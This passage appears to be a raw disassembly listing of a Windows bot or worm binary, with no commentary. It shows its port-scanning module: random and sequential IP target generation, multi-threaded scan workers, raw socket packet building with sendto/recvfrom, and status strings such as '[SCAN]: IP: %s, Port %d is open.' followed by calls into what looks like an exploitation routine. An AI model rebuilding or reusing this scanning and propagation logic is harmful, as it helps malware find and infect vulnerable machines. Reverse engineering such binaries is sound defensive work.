loc_423296 ; --------------------------------------------------------------------------- loc_423167: ; CODE XREF: sub_422A40+688j push offset dword_444584 mov ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 push offset off_444580 mov ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 push offset aB ; " -b" mov ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 lea ecx, [esi+2Ah] call sub_4014D3 push eax push offset aScanNoIpSpecif ; "scan: no ip specified" loc_4231A5: ; CODE XREF: sub_422A40+645j mov al, [esi+94h] mov cl, [esi+93h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 loc_4231BD: ; CODE XREF: sub_422A40+132j mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_4231C4: ; CODE XREF: sub_422A40+735j ; sub_422A40+745j ... mov ecx, dword_4D60CD lea edx, [esp+7A0h+var_78C] lea eax, [esp+7A0h+var_788] push edx push eax push ecx mov [esp+7ACh+var_78C], 10h nop call near ptr 71AB951Eh push offset off_444580 mov ecx, esi call sub_4013E3 mov edx, eax mov eax, [esp+79Ch+var_780] neg edx sbb edx, edx push 10h and edx, 0FFFF0100h add edx, 0FFFFh and eax, edx push eax mov [esp+7A4h+var_780], eax nop call near ptr 71AB3F41h push eax lea eax, [esp+7A8h+var_770] push eax nop call near ptr 77C47A90h add esp, 0Ch mov ecx, esi push offset dword_444584 call sub_4013E3 test eax, eax jz short loc_42328B push offset off_444580 mov ecx, esi call sub_4013E3 mov ebp, dword_50FA90 mov edi, eax neg edi sbb edi, edi lea ecx, [esp+7A0h+var_770] neg edi push 30h push ecx add edi, 2 call ebp ; strrchr add esp, 8 xor bl, bl test edi, edi jle short loc_42327E loc_423262: ; CODE XREF: sub_422A40+83Cj test eax, eax jz short loc_42327E lea edx, [esp+7A0h+var_770] push 30h push edx mov byte ptr [eax], 78h call ebp ; strrchr add esp, 8 inc bl movsx ecx, bl cmp ecx, edi jl short loc_423262 loc_42327E: ; CODE XREF: sub_422A40+820j ; sub_422A40+824j mov [esp+7A0h+var_630], 1 jmp short loc_423296 ; --------------------------------------------------------------------------- loc_42328B: ; CODE XREF: sub_422A40+7F1j mov [esp+7A0h+var_630], 0 loc_423296: ; CODE XREF: sub_422A40+722j ; sub_422A40+849j mov edx, dword_4D60CD xor eax, eax mov al, [esi+93h] lea edi, [esi+2Ah] mov ecx, edi mov [esp+7A0h+var_660], edx mov [esp+7A0h+var_638], 0 mov [esp+7A0h+var_634], eax call sub_4017E4 push eax lea ecx, [esp+7A4h+var_760] push 80h push ecx nop call near ptr 77C3FA76h mov eax, [esp+7ACh+var_630] add esp, 0Ch test eax, eax mov [esp+7A0h+var_6E0], 0 mov eax, offset aRandom ; "random" jnz short loc_4232F8 mov eax, offset aSequential ; "sequential" loc_4232F8: ; CODE XREF: sub_422A40+8B1j mov edx, [esp+7A0h+var_644] mov ecx, [esp+7A0h+var_654] push edx mov edx, [esp+7A4h+var_658] push ecx mov ecx, [esp+7A8h+var_65C] push edx lea edx, [esp+7ACh+var_770] push ecx push edx push eax mov eax, [esp+7B8h+var_640] lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ecx, ds:44442Ah[eax*4] push ecx push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"... mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 push 0 lea ecx, [esp+7D4h+var_20C] push 3 push ecx call sub_401BD6 add esp, 3Ch lea edx, [esp+7A0h+var_770] mov [esp+7A0h+var_650], eax push edx call sub_402261 mov al, 1 jmp loc_422E3B sub_422A40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4235F0 proc near ; CODE XREF: sub_40114Fj arg_A6 = dword ptr 0AAh arg_AE = dword ptr 0B2h mov ecx, [esp+arg_AE] push ebx test ecx, ecx push offset byte_446F70 mov ecx, offset dword_447998 setnz bl call sub_4014D3 push eax push ebx push ebx push offset byte_4D60B5 call sub_401848 mov eax, [esp+18h+arg_A6] add esp, 14h lea eax, [eax+eax*2] pop ebx lea eax, [eax+eax*4] mov ecx, dword_444450[eax*4] inc ecx mov dword_444450[eax*4], ecx mov al, 1 retn sub_4235F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423660 proc near ; CODE XREF: sub_401DF7j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 14h xor eax, eax lea ecx, [esp+14h+var_14] mov [esp+14h+var_10], eax lea edx, [esp+14h+var_10] mov [esp+14h+var_C], eax push ecx mov [esp+18h+var_8], eax push edx mov [esp+1Ch+var_4], eax mov eax, [esp+1Ch+arg_0] push eax mov [esp+20h+var_14], 10h nop call near ptr 71AB951Eh mov ecx, [esp+14h+var_C+3] mov edx, [esp+14h+var_C+2] mov eax, [esp+14h+var_C+1] and ecx, 0FFh push ecx mov ecx, [esp+18h+var_C] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push offset dword_50DAE8 nop call sub_5EFFD5 mov eax, offset dword_50DAE8 add esp, 2Ch retn sub_423660 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423720 proc near ; CODE XREF: sub_401F37j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, dword_50BB90[esi*8] push eax call near ptr 71AB2BC0h nop inc eax push eax nop call near ptr 71AB2BC0h mov dword_50BB90[esi*8], eax pop esi retn sub_423720 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423760 proc near ; CODE XREF: sub_401131j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h mov edx, [esp+10h+arg_0] push ebx or ebx, 0FFFFFFFFh push edi mov edi, edx mov ecx, ebx xor eax, eax mov [esp+18h+var_8], ebx repne scasb not ecx dec ecx mov [esp+18h+var_C], ebx cmp ecx, 0Fh mov [esp+18h+var_10], ebx mov [esp+18h+var_4], ebx jbe short loc_423792 pop edi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_423792: ; CODE XREF: sub_423760+2Aj lea eax, [esp+18h+var_4] push esi lea ecx, [esp+1Ch+var_10] push eax push ecx lea eax, [esp+24h+var_C] lea ecx, [esp+24h+var_8] push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call near ptr 77C41B72h mov eax, [esp+34h+var_8] mov esi, dword_50FABC add esp, 18h cmp eax, ebx jnz short loc_4237CA call esi ; rand mov [esp+1Ch+var_8], eax loc_4237CA: ; CODE XREF: sub_423760+62j cmp [esp+1Ch+var_C], ebx jnz short loc_4237D6 call esi ; rand mov [esp+1Ch+var_C], eax loc_4237D6: ; CODE XREF: sub_423760+6Ej cmp [esp+1Ch+var_10], ebx jnz short loc_4237E2 call esi ; rand mov [esp+1Ch+var_10], eax loc_4237E2: ; CODE XREF: sub_423760+7Aj mov eax, [esp+1Ch+var_4] cmp eax, ebx jnz short loc_4237EC call esi ; rand loc_4237EC: ; CODE XREF: sub_423760+88j mov edi, [esp+1Ch+var_10] mov edx, [esp+1Ch+var_C] shl eax, 8 mov ecx, [esp+1Ch+arg_4] add eax, edi shl eax, 8 add eax, edx mov edx, [esp+1Ch+var_8] shl eax, 8 add eax, edx pop esi pop edi mov dword_50BB90[ecx*8], eax pop ebx add esp, 10h retn sub_423760 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423850 proc near ; CODE XREF: sub_401E38j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 120h push esi push edi mov edi, 1 push 0 push edi push 2 mov [esp+134h+var_120], edi call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_42387E pop edi xor eax, eax pop esi add esp, 120h retn ; --------------------------------------------------------------------------- loc_42387E: ; CODE XREF: sub_423850+21j mov ecx, [esp+128h+arg_4] mov eax, [esp+128h+arg_0] push ecx mov [esp+12Ch+var_114], 2 mov [esp+12Ch+var_110], eax nop call near ptr 71AB2B66h lea edx, [esp+128h+var_120] mov [esp+128h+var_112], ax push edx push 8004667Eh push esi nop call near ptr 71AB4519h lea eax, [esp+128h+var_114] push 10h push eax push esi nop call near ptr 71AB406Ah mov ecx, [esp+128h+arg_8] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax push 0 push 0 mov [esp+13Ch+var_11C], ecx mov [esp+13Ch+var_118], 0 mov [esp+13Ch+var_100], esi mov [esp+13Ch+var_104], edi nop call near ptr 71AB2DC0h push esi mov edi, eax nop call near ptr 71AB9639h xor eax, eax test edi, edi pop edi pop esi setnle al add esp, 120h retn sub_423850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_423940: ; CODE XREF: ___:00401046j mov eax, 10110h call sub_436840 push ebx push ebp mov ebp, dword_50FC2C push esi push edi push 2649h call ebp ; ntohs mov [esp+24h], ax mov eax, [esp+1012Ch] push eax call ebp ; ntohs mov [esp+26h], ax nop call near ptr 77C371D3h xor ebx, ebx push 200h mov [esp+2Ch], eax mov [esp+30h], ebx mov [esp+34h], bx mov [esp+44h], bx mov word ptr [esp+36h], 5 mov [esp+38h], bx mov word ptr [esp+3Ah], 1 mov [esp+3Ch], bx mov [esp+3Eh], bx mov [esp+40h], bx mov [esp+42h], bx call ebp ; ntohs mov ecx, [esp+10124h] mov edx, [esp+10128h] push 24h mov [esp+46h], ax mov [esp+48h], bx mov [esp+4Ah], bx mov [esp+4Ch], ecx mov [esp+50h], edx mov [esp+54h], bl mov byte ptr [esp+55h], 6 call ebp ; ntohs mov [esp+52h], ax mov ecx, 9 lea esi, [esp+24h] lea edi, [esp+54h] lea eax, [esp+48h] push 20h rep movsd push eax call sub_401A28 mov edx, [esp+10134h] xor ecx, ecx mov [esp+1Ch], ecx add esp, 8 mov [esp+18h], ecx mov [esp+44h], ax mov [esp+1Ch], ecx push edx mov [esp+24h], ecx mov word ptr [esp+18h], 2 call ebp ; ntohs mov [esp+16h], ax mov eax, [esp+10128h] push 6 push 3 push 2 mov [esp+24h], eax mov dword ptr [esp+1Ch], 10h call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_423A69 push offset aSocketOpenFail ; "socket open failed" jmp loc_423B68 ; --------------------------------------------------------------------------- loc_423A69: ; CODE XREF: ___:00423A5Dj mov ecx, [esp+10h] lea edx, [esp+14h] push ecx push edx push ebx lea eax, [esp+30h] push 24h push eax push esi nop call near ptr 71AB2C69h mov edi, eax cmp edi, 14h jz short loc_423AC2 nop call near ptr 71AB94DCh push eax push edi lea ecx, [esp+70h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push ecx nop call sub_5EFFD5 lea edx, [esp+78h] push edx call sub_4010D2 add esp, 14h push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423AC2: ; CODE XREF: ___:00423A87j mov ecx, 400Dh xor eax, eax lea edi, [esp+0E8h] mov ebp, 2649h rep stosd stosw stosb cmp [esp+0FEh], bp jz short loc_423B13 mov edi, dword_50FC58 loc_423AEA: ; CODE XREF: ___:00423B11j lea eax, [esp+10h] lea ecx, [esp+14h] push eax push ecx push ebx lea edx, [esp+0F4h] push 10037h push edx push esi call edi ; recvfrom test eax, eax jl short loc_423B42 cmp [esp+0FEh], bp jnz short loc_423AEA loc_423B13: ; CODE XREF: ___:00423AE2j push esi call near ptr 71AB9639h nop cmp word ptr [esp+10Eh], 1 jnz short loc_423B63 push offset aSocketOpen_ ; "Socket open." call sub_4010D2 add esp, 4 mov eax, 1 pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423B42: ; CODE XREF: ___:00423B07j push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4010D2 add esp, 4 push esi call near ptr 71AB9639h nop pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423B63: ; CODE XREF: ___:00423B23j push offset dword_44467C loc_423B68: ; CODE XREF: ___:00423A64j call sub_4010D2 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_423C10: ; CODE XREF: ___:loc_401F23j sub esp, 290h mov eax, [esp+294h] push ebx push ebp push esi push edi mov ecx, 53h mov esi, eax lea edi, [esp+18h] rep movsd mov esi, [esp+13Ch] mov ecx, [esp+140h] mov [esp+10h], esi mov [esp+14h], ecx mov dword ptr [eax+148h], 1 nop call near ptr 27F06DAh push eax nop call near ptr 77C371BCh lea eax, [esi+esi*2] add esp, 4 shl eax, 4 sub eax, esi lea eax, [eax+eax*2] lea ebp, ds:448FCBh[eax*4] mov eax, dword_4491CF[eax*4] mov ecx, dword_50BB94[eax*8] test ecx, ecx jz loc_423EC4 mov ebx, off_50FBF0 loc_423C8C: ; CODE XREF: ___:00423EBAj mov ecx, [esp+158h] push eax test ecx, ecx jz short loc_423CA7 lea edx, [esp+1Ch] push edx call sub_401131 add esp, 8 jmp short loc_423CAF ; --------------------------------------------------------------------------- loc_423CA7: ; CODE XREF: ___:00423C96j call sub_401F37 add esp, 4 loc_423CAF: ; CODE XREF: ___:00423CA5j mov ecx, [ebp+204h] mov edx, [esp+12Ch] mov edi, dword_50FC78 mov esi, eax mov eax, [esp+14h] push eax push ecx push edx push esi call edi ; inet_ntoa push eax lea eax, [esp+230h] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call ebx ; sub_5EFFD5 add esp, 18h lea ecx, [esp+220h] push ecx push ebp call ebx ; sub_5EFFD5 mov edx, [esp+138h] mov eax, [esp+134h] push edx push eax push esi call sub_401E38 add esp, 14h cmp eax, 1 jnz loc_423EA0 cmp dword ptr [esp+148h], 0FFFFFFFFh jnz loc_423DC2 push offset dword_50DAD0 nop call near ptr 7C901005h mov ecx, [esp+12Ch] push ecx push esi call edi ; inet_ntoa push eax lea edx, [esp+228h] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push edx call ebx ; sub_5EFFD5 mov eax, [esp+164h] add esp, 10h test eax, eax jnz short loc_423DA2 mov al, [esp+0A8h] test al, al jz short loc_423D7D mov eax, [esp+150h] lea ecx, [esp+220h] push eax mov eax, [esp+12Ch] lea edx, [esp+0ACh] push ecx push edx push eax jmp short loc_423D9A ; --------------------------------------------------------------------------- loc_423D7D: ; CODE XREF: ___:00423D59j mov ecx, [esp+150h] lea edx, [esp+220h] push ecx mov ecx, [esp+12Ch] lea eax, [esp+2Ch] push edx push eax push ecx loc_423D9A: ; CODE XREF: ___:00423D7Bj call sub_401523 add esp, 10h loc_423DA2: ; CODE XREF: ___:00423D4Ej lea edx, [esp+220h] push edx call sub_4010D2 add esp, 4 push offset dword_50DAD0 call near ptr 7C9010EDh nop jmp loc_423EA0 ; --------------------------------------------------------------------------- loc_423DC2: ; CODE XREF: ___:00423D16j push esi call edi ; inet_ntoa push eax lea eax, [esp+16Ch] push eax call ebx ; sub_5EFFD5 mov eax, [esp+150h] add esp, 8 lea eax, [eax+eax*2] lea ecx, [eax+eax*4] lea eax, [esp+1F8h] lea edx, ds:444420h[ecx*4] push edx push eax call ebx ; sub_5EFFD5 mov al, [esp+0B0h] add esp, 8 test al, al jz short loc_423E12 lea ecx, [esp+0A8h] lea edx, [esp+178h] push ecx push edx jmp short loc_423E1F ; --------------------------------------------------------------------------- loc_423E12: ; CODE XREF: ___:00423DFEj lea eax, [esp+28h] lea ecx, [esp+178h] push eax push ecx loc_423E1F: ; CODE XREF: ___:00423E10j call ebx ; sub_5EFFD5 mov eax, [esp+158h] mov edx, [esp+130h] mov ecx, [esp+15Ch] mov [esp+21Ah], eax mov eax, [esp+18h] add esp, 8 mov [esp+164h], edx mov edx, [esp+12Ch] mov [esp+206h], eax mov eax, [esp+148h] sub esp, 0BCh mov [esp+2D2h], ecx mov ecx, 2Eh lea esi, [esp+220h] mov edi, esp mov [esp+2BEh], edx mov [esp+2C6h], eax lea eax, [eax+eax*2] rep movsd lea edx, [eax+eax*4] movsw call off_44444C[edx*4] add esp, 0BCh loc_423EA0: ; CODE XREF: ___:00423D08j ; ___:00423DBDj push 7D0h nop call near ptr 2821BE4h mov eax, [ebp+204h] mov ecx, dword_50BB94[eax*8] test ecx, ecx jnz loc_423C8C mov esi, [esp+10h] loc_423EC4: ; CODE XREF: ___:00423C80j push esi call sub_401E24 add esp, 4 push 0 nop call near ptr 2830000h nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_402261j mov eax, [esp+4] sub esp, 1CCh mov ecx, 53h push ebx push ebp push esi push edi mov esi, eax lea edi, [esp+10h] mov ebx, 1 rep movsd mov [eax+144h], ebx lea eax, [esp+10h] push eax nop call near ptr 71AB2BF4h sub esp, 14Ch lea esi, [esp+15Ch] mov ecx, [esp+27Ch] mov edi, esp mov dword_50BB90[ecx*8], eax mov ecx, 53h rep movsd call j_nullsub_9 push 3 call sub_401483 add esp, 150h cmp eax, ebx jnz short loc_424021 push offset dword_50DAD0 nop call near ptr 2780000h push offset dword_50DAD0 nop call near ptr 27807F0h loc_424021: ; CODE XREF: ___:00424009j mov edx, [esp+130h] mov eax, [esp+13Ch] mov ebp, dword_50F8D0 mov esi, ebx mov dword_50BB94[edx*8], ebx cmp eax, ebx mov ebx, off_50FBF0 jb loc_424150 mov edi, dword_50F860 loc_424052: ; CODE XREF: ___:0042414Aj mov eax, [esp+130h] mov ecx, [esp+124h] push esi push eax lea edx, [esp+18h] push ecx push edx lea eax, [esp+16Ch] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax mov [esp+150h], esi call ebx ; sub_5EFFD5 push 0 lea ecx, [esp+178h] push 3 push ecx call sub_401BD6 lea ecx, [eax+eax*2] add esp, 24h shl ecx, 4 sub ecx, eax push 0 push 0 mov [esp+13Ch], eax mov eax, [esp+138h] lea edx, [ecx+ecx*2] lea ecx, [esp+18h] push ecx push offset loc_401F23 push 0 push 0 mov dword_4491CF[edx*4], eax call edi mov edx, [esp+134h] lea ecx, [edx+edx*2] shl ecx, 4 sub ecx, edx lea edx, [ecx+ecx*2] mov dword_4491DF[edx*4], eax mov ecx, [esp+134h] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx lea eax, [eax+eax*2] mov ecx, dword_4491DF[eax*4] test ecx, ecx jz short loc_424118 mov eax, [esp+158h] test eax, eax jnz short loc_42413E loc_424107: ; CODE XREF: ___:00424114j push 1Eh call ebp mov eax, [esp+158h] test eax, eax jz short loc_424107 jmp short loc_42413E ; --------------------------------------------------------------------------- loc_424118: ; CODE XREF: ___:004240FAj call near ptr 27C090Ch nop push eax lea ecx, [esp+160h] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push ecx call ebx ; sub_5EFFD5 lea edx, [esp+168h] push edx call sub_4010D2 add esp, 10h loc_42413E: ; CODE XREF: ___:00424105j ; ___:00424116j push 1Eh call ebp inc esi cmp esi, [esp+13Ch] jbe loc_424052 loc_424150: ; CODE XREF: ___:00424046j mov eax, [esp+12Ch] test eax, eax jz short loc_42417E lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] shl eax, 5 push eax call ebp mov esi, 1 mov eax, [esp+12Ch] jmp short loc_4241B1 ; --------------------------------------------------------------------------- loc_42417E: ; CODE XREF: ___:00424159j mov ecx, [esp+130h] mov esi, 1 cmp dword_50BB94[ecx*8], esi jnz short loc_4241B1 loc_424193: ; CODE XREF: ___:004241A8j push 7D0h call ebp mov edx, [esp+130h] cmp dword_50BB94[edx*8], esi jz short loc_424193 mov eax, [esp+12Ch] loc_4241B1: ; CODE XREF: ___:0042417Cj ; ___:00424191j mov ecx, [esp+130h] mov edx, [esp+124h] push eax push edx mov ecx, dword_50BB90[ecx*8] push ecx nop call near ptr 71AB3F41h push eax lea eax, [esp+168h] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call ebx ; sub_5EFFD5 mov eax, [esp+160h] add esp, 14h test eax, eax jnz short loc_424212 mov ecx, [esp+148h] lea edx, [esp+15Ch] push ecx mov ecx, [esp+124h] lea eax, [esp+24h] push edx push eax push ecx call sub_401523 add esp, 10h loc_424212: ; CODE XREF: ___:004241EBj lea edx, [esp+15Ch] push edx call sub_4010D2 mov eax, [esp+134h] add esp, 4 push 0BB8h mov dword_50BB94[eax*8], 0 call ebp push 3 call sub_401483 add esp, 4 cmp eax, esi jnz short loc_424254 push offset dword_50DAD0 nop call near ptr 2780000h loc_424254: ; CODE XREF: ___:00424247j mov ecx, [esp+130h] push ecx call sub_401E24 add esp, 4 push 0 nop call near ptr 2830000h nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424330 proc near ; CODE XREF: sub_4012A8j mov eax, ecx mov dword ptr [eax+4], 0 mov dword ptr [eax], 0 retn sub_424330 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_424350: ; CODE XREF: ___:004015E1j mov edx, [esp+4] sub esp, 8 xor eax, eax push esi mov esi, ecx push edi mov edi, edx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx push edx lea ecx, [esp+10h] call sub_401834 mov ecx, [eax] pop edi mov [esi], ecx mov edx, [eax+4] mov eax, esi mov [esi+4], edx pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4243A0 proc near ; CODE XREF: sub_401834j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp mov ebp, [esp+8+arg_4] mov ebx, ecx push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_4243F2 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, ebp mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 8 ; --------------------------------------------------------------------------- loc_4243F2: ; CODE XREF: sub_4243A0+16j mov eax, ebx pop ebp pop ebx retn 8 sub_4243A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424420 proc near ; CODE XREF: sub_4021D5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] push ebx mov ebx, ecx push ebp mov ecx, [esp+8+arg_C] lea ebp, [eax+ecx] push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_424494 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, [esp+10h+arg_4] mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+10h+arg_C] mov esi, [esp+10h+arg_8] lea edi, [edx+eax] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 10h ; --------------------------------------------------------------------------- loc_424494: ; CODE XREF: sub_424420+1Dj mov eax, ebx pop ebp pop ebx retn 10h sub_424420 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4244C0 proc near ; CODE XREF: sub_4016B8j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4244D3 push eax nop call near ptr 77C2C21Bh add esp, 4 loc_4244D3: ; CODE XREF: sub_4244C0+7j mov dword ptr [esi+4], 0 mov dword ptr [esi], 0 pop esi retn sub_4244C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424500 proc near ; CODE XREF: sub_4010A0j var_4 = dword ptr -4 push ecx push ebx mov ebx, ecx push ebp push esi mov eax, [ebx+4] cmp eax, 0FFFFh jl short loc_424517 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424517: ; CODE XREF: sub_424500+Ej xor ecx, ecx cmp eax, 7Fh setnl cl dec ecx and ecx, 0FFFFFFFEh add ecx, 3 mov esi, ecx add eax, esi mov [esp+10h+var_4], esi push eax nop call near ptr 77C2C407h mov ebp, eax add esp, 4 test ebp, ebp jnz short loc_424545 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424545: ; CODE XREF: sub_424500+3Cj push edi mov edi, [ebx+4] mov ecx, esi xor eax, eax add ecx, edi mov edi, ebp mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 cmp esi, 1 rep stosb jnz short loc_424574 mov al, [ebx+4] lea edi, [ebp+1] mov [ebp+0], al mov ecx, [ebx+4] mov esi, [ebx] jmp short loc_42458F ; --------------------------------------------------------------------------- loc_424574: ; CODE XREF: sub_424500+62j mov byte ptr [ebp+0], 82h mov eax, [ebx+4] sar eax, 8 mov [ebp+1], al mov cl, [ebx+4] mov [ebp+2], cl mov ecx, [ebx+4] mov esi, [ebx] lea edi, [ebp+3] loc_42458F: ; CODE XREF: sub_424500+72j mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+18h+var_4] mov eax, [ebx+4] add esp, 4 add eax, ecx mov [ebx], ebp mov [ebx+4], eax pop edi pop esi pop ebp mov al, 1 pop ebx pop ecx retn sub_424500 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245F0 proc near ; CODE XREF: sub_401B68j var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push ebx push ebp mov ebp, ecx mov eax, [ebp+4] mov ecx, [ebp+0] push eax push ecx push 1 push offset dword_446F74 lea ecx, [esp+20h+var_8] call sub_4021D5 lea ecx, [esp+10h+var_8] call sub_4010A0 mov edx, [esp+10h+var_4] inc edx push edx nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424635 pop ebp xor al, al pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_424635: ; CODE XREF: sub_4245F0+3Bj mov eax, [esp+10h+var_4] push esi push edi mov edi, ebx lea ecx, [eax+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov byte ptr [ebx], 3 mov ecx, [esp+18h+var_4] mov esi, [esp+18h+var_8] mov eax, ecx lea edi, [ebx+1] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ebp call sub_4016B8 mov ecx, [esp+18h+var_4] mov [ebp+0], ebx inc ecx mov [ebp+4], ecx lea ecx, [esp+18h+var_8] call sub_4016B8 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 8 retn sub_4245F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4246D0 proc near ; CODE XREF: sub_4012C6j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] sub esp, 8 push esi mov esi, ecx mov ecx, [esp+0Ch+arg_0] push eax mov edx, [esi+4] mov eax, [esi] push ecx push edx push eax lea ecx, [esp+1Ch+var_8] call sub_4021D5 mov ecx, esi call sub_4016B8 mov ecx, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_4] mov [esi], ecx mov [esi+4], edx mov al, 1 pop esi add esp, 8 retn 8 sub_4246D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424720 proc near ; CODE XREF: sub_402036j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov edx, ecx push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push esi mov ecx, edx call sub_4012C6 pop edi pop esi retn 4 sub_424720 